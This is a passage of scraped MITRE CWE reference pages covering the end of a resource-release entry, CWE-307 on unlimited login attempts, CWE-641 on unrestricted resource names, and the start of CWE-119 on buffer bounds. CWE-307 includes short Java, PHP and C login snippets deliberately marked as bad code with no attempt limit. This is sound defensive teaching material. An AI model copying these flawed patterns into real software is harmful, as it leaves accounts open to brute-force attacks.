MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.857The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.876CERT C++ Secure Coding Section 08 - Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.877CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.882CERT C++ Secure Coding Section 14 - Concurrency (CON)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.982SFP Secondary Cluster: Failure to Release Resource
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1003Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1147SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1162SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1163SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1306CISQ Quality Measures - Reliability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1308CISQ Quality Measures - Security
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1309CISQ Quality Measures - Efficiency
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1340CISQ Data Protection Measures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Notes

Relationship

Overlaps memory leaks, asymmetric resource consumption, malformed input errors.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERImproper resource shutdown or release
7 Pernicious KingdomsUnreleased Resource
OWASP Top Ten 2004A9CWE More SpecificDenial of Service
CERT C Secure CodingFIO42-CCWE More AbstractClose files when they are no longer needed
CERT C Secure CodingMEM31-CCWE More AbstractFree dynamically allocated memory when no longer needed
The CERT Oracle Secure Coding Standard for Java (2011)FIO04-JRelease resources when they are no longer needed
Software Fault PatternsSFP14Failure to release resource
+ References
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 8: C++ Catastrophes." Page 143. McGraw-Hill. 2010.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Relationships
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-01-12CWE Content TeamMITRE
updated Common_Consequences, Likelihood_of_Exploit, Other_Notes, Potential_Mitigations, Relationship_Notes, Relationships, Weakness_Ordinalities
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-05-27CWE Content TeamMITRE
updated Description, Relationships
2009-07-27CWE Content TeamMITRE
updated Demonstrative_Examples, Related_Attack_Patterns
2009-10-29CWE Content TeamMITRE
updated Other_Notes
2010-02-16CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2010-06-21CWE Content TeamMITRE
updated Detection_Factors, Potential_Mitigations
2010-12-13CWE Content TeamMITRE
updated Demonstrative_Examples
2011-03-29CWE Content TeamMITRE
updated Weakness_Ordinalities
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, References, Relationships, Taxonomy_Mappings
2014-02-18CWE Content TeamMITRE
updated Demonstrative_Examples
2014-06-23CWE Content TeamMITRE
updated Related_Attack_Patterns
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Functional_Areas, Likelihood_of_Exploit, Relationships, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings, Type
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples
2021-07-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2022-10-13CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description, Detection_Factors
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples

CWE-307: Improper Restriction of Excessive Authentication Attempts

Weakness ID: 307
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not implement sufficient measures to prevent multiple failed authentication attempts within a short time frame, making it more susceptible to brute force attacks.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.799Improper Control of Interaction Frequency
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1390Weak Authentication
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1211Authentication Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.287Improper Authentication
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1010Authenticate Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignCOMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism

An attacker could perform an arbitrary number of authentication attempts using different passwords, and eventually gain access to the targeted account.
+ Demonstrative Examples

Example 1

In January 2009, an attacker was able to gain administrator access to a Twitter server because the server did not restrict the number of login attempts [REF-236]. The attacker targeted a member of Twitter's support team and was able to successfully guess the member's password using a brute force attack by guessing a large number of common words. After gaining access as the member of the support staff, the attacker used the administrator panel to gain access to 33 accounts that belonged to celebrities and politicians. Ultimately, fake Twitter messages were sent that appeared to come from the compromised accounts.

Example 1 References:
[REF-236] Kim Zetter. "Weak Password Brings 'Happiness' to Twitter Hacker". 2009-01-09. <https://www.wired.com/2009/01/professed-twitt/>. URL validated: 2023-04-07.

Example 2

The following code, extracted from a servlet's doPost() method, performs an authentication lookup every time the servlet is invoked.

(bad code)
Example Language: Java 
String username = request.getParameter("username");
String password = request.getParameter("password");

int authResult = authenticateUser(username, password);

However, the software makes no attempt to restrict excessive authentication attempts.

Example 3

This code attempts to limit the number of login attempts by causing the process to sleep before completing the authentication.

(bad code)
Example Language: PHP 
$username = $_POST['username'];
$password = $_POST['password'];
sleep(2000);
$isAuthenticated = authenticateUser($username, $password);

However, there is no limit on parallel connections, so this does not increase the amount of time an attacker needs to complete an attack.

Example 4

In the following C/C++ example the validateUser method opens a socket connection, reads a username and password from the socket and attempts to authenticate the username and password.

(bad code)
Example Language:
int validateUser(char *host, int port)
{
int socket = openSocketConnection(host, port);
if (socket < 0) {
printf("Unable to open socket connection");
return(FAIL);
}

int isValidUser = 0;
char username[USERNAME_SIZE];
char password[PASSWORD_SIZE];

while (isValidUser == 0) {
if (getNextMessage(socket, username, USERNAME_SIZE) > 0) {
if (getNextMessage(socket, password, PASSWORD_SIZE) > 0) {
isValidUser = AuthenticateUser(username, password);
}
}
}
return(SUCCESS);
}

The validateUser method will continuously check for a valid username and password without any restriction on the number of authentication attempts made. The method should limit the number of authentication attempts made to prevent brute force attacks as in the following example code.

(good code)
Example Language:
int validateUser(char *host, int port)
{
...

int count = 0;
while ((isValidUser == 0) && (count < MAX_ATTEMPTS)) {
if (getNextMessage(socket, username, USERNAME_SIZE) > 0) {
if (getNextMessage(socket, password, PASSWORD_SIZE) > 0) {
isValidUser = AuthenticateUser(username, password);
}
}
count++;
}
if (isValidUser) {
return(SUCCESS);
}
else {
return(FAIL);
}
}

Example 5

Consider this example from a real-world attack against the iPhone [REF-1218]. An attacker can use brute force methods; each time there is a failed guess, the attacker quickly cuts the power before the failed entry is recorded, effectively bypassing the intended limit on the number of failed authentication attempts. Note that this attack requires removal of the cell phone battery and connecting directly to the phone's power source, and the brute force attack is still time-consuming.

+ Observed Examples
ReferenceDescription
the REST API for a network OS has a high limit for number of connections, allowing brute force password guessing
Product does not disconnect or timeout after multiple failed logins.
Product does not disconnect or timeout after multiple failed logins.
Product does not disconnect or timeout after multiple failed logins.
Product does not disconnect or timeout after multiple failed logins.
Product does not disconnect or timeout after multiple failed logins.
User accounts not disabled when they exceed a threshold; possibly a resultant problem.
+ Potential Mitigations

Phase: Architecture and Design

Common protection mechanisms include:

  • Disconnecting the user after a small number of failed attempts
  • Implementing a timeout
  • Locking out a targeted account
  • Requiring a computational task on the user's part.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator. [REF-45]

+ Detection Methods

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners
Cost effective for partial coverage:
  • Host-based Vulnerability Scanners - Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria

Effectiveness: High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Fuzz Tester
  • Framework-based Fuzzer
Cost effective for partial coverage:
  • Forced Path Execution

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Focused Manual Spotcheck - Focused manual analysis of source
  • Manual Source Code Review (not inspections)

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Configuration Checker

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.724OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8082010 Top 25 - Weaknesses On the Cusp
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.812OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8662011 Top 25 - Porous Defenses
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.955SFP Secondary Cluster: Unrestricted Authentication
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1353OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERAUTHENT.MULTFAILMultiple Failed Authentication Attempts not Prevented
Software Fault PatternsSFP34Unrestricted authentication
+ References
[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
[REF-236] Kim Zetter. "Weak Password Brings 'Happiness' to Twitter Hacker". 2009-01-09. <https://www.wired.com/2009/01/professed-twitt/>. URL validated: 2023-04-07.
[REF-1218] Graham Cluley. "This Black Box Can Brute Force Crack iPhone PIN Passcodes". The Mac Security Blog. 2015-03-16. <https://www.intego.com/mac-security-blog/iphone-pin-pass-code/>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-07-27CWE Content TeamMITRE
updated Observed_Examples
2009-12-28CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Potential_Mitigations
2010-02-16CWE Content TeamMITRE
updated Demonstrative_Examples, Name, Potential_Mitigations, Relationships, Taxonomy_Mappings
2010-04-05CWE Content TeamMITRE
updated Demonstrative_Examples
2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences, Related_Attack_Patterns, Relationships
2011-09-13CWE Content TeamMITRE
updated Potential_Mitigations, References, Relationships
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples, Modes_of_Introduction, Relationships
2019-06-20CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2020-02-24CWE Content TeamMITRE
updated Detection_Factors, Relationships
2020-08-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2021-10-28CWE Content TeamMITRE
updated Demonstrative_Examples, References, Relationships
2022-10-13CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Observed_Examples, References, Relationships
2023-04-27CWE Content TeamMITRE
updated Demonstrative_Examples, References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Multiple Failed Authentication Attempts not Prevented
2010-02-16Failure to Restrict Excessive Authentication Attempts

CWE-641: Improper Restriction of Names for Files and Other Resources

Weakness ID: 641
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product constructs the name of a file or other resource using input from an upstream component, but it does not restrict or incorrectly restricts the resulting name.
+ Extended Description
This may produce resultant weaknesses. For instance, if the names of these resources contain scripting characters, it is possible that a script may get executed in the client's browser if the application ever displays the name of the resource on a dynamically generated web page. Alternately, if the resources are consumed by some application parser, a specially crafted name can exploit some vulnerability internal to the parser, potentially resulting in execution of arbitrary code on the server machine. The problems will vary based on the context of usage of such malformed resource names and whether vulnerabilities are present in or assumptions are made by the targeted technology that would make code execution possible.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.99Improper Control of Resource Identifiers ('Resource Injection')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1215Data Validation Issues
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.137Data Neutralization Issues
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.399Resource Management Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Confidentiality
Availability

Technical Impact: Execute Unauthorized Code or Commands

Execution of arbitrary code in the context of usage of the resources with dangerous names.
Confidentiality
Availability

Technical Impact: Read Application Data; DoS: Crash, Exit, or Restart

Crash of the consumer code of these resources resulting in information leakage or denial of service.
+ Likelihood Of Exploit
Low
+ Potential Mitigations

Phase: Architecture and Design

Do not allow users to control names of resources used on the server side.

Phase: Architecture and Design

Perform allowlist input validation at entry points and also before consuming the resources. Reject bad file names rather than trying to cleanse them.

Phase: Architecture and Design

Make sure that technologies consuming the resources are not vulnerable (e.g. buffer overflow, format string, etc.) in a way that would allow code execution if the name of the resource is malformed.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1409Comprehensive Categorization: Injection
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
Software Fault PatternsSFP24Tainted input to command
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-01-30
(CWE Draft 8, 2008-01-30)
Evgeny LebanidzeCigital
+ Modifications
Modification DateModifierOrganization
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships
2008-10-14CWE Content TeamMITRE
updated Description
2009-10-29CWE Content TeamMITRE
updated Common_Consequences
2010-06-21CWE Content TeamMITRE
updated Description, Name, Type
2010-12-13CWE Content TeamMITRE
updated Common_Consequences
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Observed_Examples, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-05-03CWE Content TeamMITRE
updated Potential_Mitigations
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Description, Enabling_Factors_for_Exploitation, Modes_of_Introduction, Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2010-06-21Insufficient Filtering of File and Other Resource Names for Executable Content

CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

Weakness ID: 119
Vulnerability Mapping: DISCOURAGEDThis CWE ID should not be used to map to real-world vulnerabilities
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer.
+ Extended Description

Certain languages allow direct addressing of memory locations and do not automatically ensure that these locations are valid for the memory buffer that is being referenced. This can cause read or write operations to be performed on memory locations that may be associated with other variables, data structures, or internal program data.

As a result, an attacker may be able to execute arbitrary code, alter the intended control flow, read sensitive information, or cause the system to crash.

+ Alternate Terms
Buffer Overflow:
This term has many different meanings to different audiences. From a CWE mapping perspective, this term should be avoided where possible. Some researchers, developers, and tools intend for it to mean "write past the end of a buffer," whereas others use the same term to mean "any read or write outside the boundaries of a buffer, whether before the beginning of the buffer or after the end of the buffer." Still others using the same term could mean "any action after the end of a buffer, whether it is a read or write." Since the term is commonly used for exploitation and for vulnerabilities, it further confuses things.
buffer overrun:
Some prominent vendors and researchers use the term "buffer overrun," but most people use "buffer overflow." See the alternate term for "buffer overflow" for context.
memory safety:
Generally used for techniques that avoid weaknesses related to memory access, such as those identified by CWE-119 and its descendants. However, the term is not formal, and there is likely disagreement between practitioners as to which weaknesses are implicitly covered by the "memory safety" term.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.118Incorrect Access of Indexable Resource ('Range Error')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.120Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.125Out-of-bounds Read
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.466Return of Pointer Value Outside of Expected Range
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.786Access of Memory Location Before Start of Buffer
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.787Out-of-bounds Write
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.788Access of Memory Location After End of Buffer
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.805Buffer Access with Incorrect Length Value
